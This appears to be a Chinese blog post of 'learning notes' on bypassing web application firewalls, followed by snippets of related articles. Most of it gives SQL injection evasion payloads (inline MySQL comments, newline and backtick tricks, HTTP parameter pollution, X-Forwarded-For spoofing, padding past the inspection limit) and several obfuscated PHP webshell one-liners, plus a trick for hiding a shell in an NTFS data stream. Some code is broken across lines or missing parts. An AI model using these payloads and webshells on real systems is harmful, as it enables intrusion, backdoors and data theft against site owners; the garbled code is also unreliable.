學習記錄 WAF繞過

2021-10-09 15:33:45 字數 3817 閱讀 7306

學習記錄-waf繞過

注:文章僅用於學術交流,不用於其它用途

一、waf基礎知識

概念:web應用防護系統,執行一系列針對http/https的安全策略為web應用提供保護

分類:waf有硬體型別的也有軟體型別的,我們一般滲透測試都會遇到軟waf,因為硬體waf**有點昂貴,正常企業不會購買,基本上是大型國企才會買,常見的軟waf:安全狗、雲鎖、懸鏡、護衛神、雲盾

檢測機制:其實很簡單,核心就是正則匹配,雖然說還有字串強行匹配,還有什麼語**析,但是實際上還是正則居多,安全和客戶體驗都是需要平衡的,特別是對於waf而言,網頁動不動就攔截,比如我是使用者,然後因為我使用者名叫and然後我就被拉黑了,因為我不小心輸了個』頁面就出問題,這個當然不可以,所以waf一般都是通用的,並不是單獨定製的,既然是通用的,那麼他在攔截上會比較謹慎,所以waf的正則一般是搭配式的,是一種組合

二、bypass繞過waf

bypass:通過特殊語句的構建達到繞過waf的手法

第一種:針對sql的waf繞過

1)大小寫繞過 (很老的waf才有用)

比如:and 1=1 ------ and 1=1

2)替換繞過 (很老的waf才有用)

比如將關鍵字置空:sselectelect 1,2 ----- select 1,2

3)內聯注釋

內聯注釋是mysql為了保持與其他資料相容,將mysql中特有的語句放在/*!..*/中,這些語句在不相容的資料庫中不執行,而在mysql自身卻能識別執行,/*!50001*/表示資料庫版本》=5.00.01時中間的語句才能被執行

如:union select 1,2,3 被攔截

嘗試: union /*!select*/1,2,3 進行繞過,如果還被攔截

嘗試加入版本: union /*!50001 select*/ 1,2,3 進行繞過,如果還被攔截

嘗試: burp暴力破解,修改50001引數,直接跑

4)特殊字元繞過 (%0a換行或反引號)

%0a:union select 1,2,3 ------ union – +/*%0a select 1,2,3 – +*/

反引號:union select 1,2,3 ----- union `select` 1,2,3

5)編碼繞過

如:get傳參內容用十六進製制編碼

6)等價替換

如:union select -------union all aselect

如:and 1=1----& 1=1 (注意是如果get傳參需要將&編碼才會被當作sql語句執行,不編碼會被認為是傳參)

7)容器特性

apace的hpp:id=1 /*& id=2 union select 1,2,3 --+*/ waf認為/*…*/這個是注釋的意思不會攔截,但是在apace容器下同時出現多個引數就會去解析後面的引數,執行後面的id=2 union select 1,2,3語句,從而繞過waf

iis的%分割:union s%e%l%e%c%t 1,2,3------iis解析為union select 1,2,3

8)白名單

若已獲取管理員許可權直接注入,有些waf不對管理員攔截;在擷取包偽造http_x_forwarded_for修改ip為127.0.0.1本地訪問,或者通過ssrf訪問,有些waf也不攔截

9)緩衝區

資料太多了,超出了waf檢測的範圍,需要將資料報改為post傳參的形式,檢測資料位元組的上限,需要單獨(指令碼等方式)去測,一般情況下安全狗的上限是4000位元組,然後在後面加上我們sql注入語句就可以了(注意不是位元組越多越好,多了會出現其它問題,一般4500-4600位元組都是可以的)

第二種:針對木馬(一句換木馬)的waf繞過

如果我們可以通過某種方法上傳檔案,我們可以寫入木馬上傳,但是存在waf就會對木馬檔案進行攔截,waf多數情況下都是用正則匹配,一般情況下:php裡面<?php eval($_request[1])?>是會被正則匹配攔截,我們通過構造不一樣語句形式構造木馬,這樣的語句形式能繞過正則匹配,從而繞過waf

1)end函式

// end()用法:輸出陣列中最後乙個元素的值

php:<

?php eval

(end

($_request));

?>

2)常量定義

// 定義乙個常量

<

?php define

("a"

,"$_request[1]");

eval

(a);

3)通過字串拼接 + 雙美元符號

// 通過拼接,這裡的assert與eval都是任意**執行

<

?php

$a='ass'

; $b=

'ert'

; $funcname=$a.$b;

$x='funcname'

;$$x

($_request[1]

);

4)通過函式定義強行分割

// 定義乙個函式,返回相同的內容

<

?php

function

a($a)

eval(a

($_request)[1

]);?

>

5)通過類定義,然後傳參強行分割

// __destruct()函式:魔術方法,物件銷毀時自動呼叫函式

<

?php

class

user

}$user =

newuser

;$user-

>name =

''.$_request[1]

;//或者$user->name = '$_request[1]『;

?>

6)多方式傳參免殺

// 巧用cookie傳入傳參

<

?php

$cookie

= $_cookie;

foreach

($cookie

as $key => $value)}?

>

// get_defined_functions()返回所以已定義的函式

<

?php

$a=get_defined_functions()

;$a[

'internal'][

841]

($_request[1]

);

7)終極手法

// mysqli_fetch_assoc()獲取第一行資料,我們可以在自己的資料庫中寫入木馬在第一行寫入eval($_request[1]);

<

?php

eval

(mysqli_fetch_assoc

(mysqli_query

(mysqli_connect

('ip'

,'賬號'

,'密碼'

,'庫'),

'select * from 表'))

['字段'])

;

8)小技巧

// 拿到shell之後藏shell的妙招:ntfs檔案流 (僅適合windows系統)

// 開啟目標cmd,執行echo "<?php eval($_request[1])?>" >> /:123.txt

<

?php include

('/:123.txt')?

>

WAF 繞過方法

通常,即使繞過了waf的防護,前提條件是後端伺服器是否存在對應的漏洞,後端在開發時一定要在 中加入引數的過濾與校驗,不能只指望waf在中間進行防護,減少威脅面,編寫安全的 才是正確的做法。在bash shell中,問號?表示萬用字元,可以替換任意的單個字元 非空 表示萬用字元,可以匹配任意長度 包括...

waf繞過注入

waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 白盒下的繞過主要針對原始碼進行審計,分析函式功能,構造特定的包進...

WAF繞過小結

瀏覽器向伺服器傳送請求的時候必須指明請求型別 一般是get或者post 如有必要,瀏覽器還可以選擇傳送其他的請求頭。大多數請求頭並不是必需的,但content length除外。對於post請求來說content length必須出現。大多數waf都會較全面地檢測來自get請求的攻擊,有選擇地檢測來...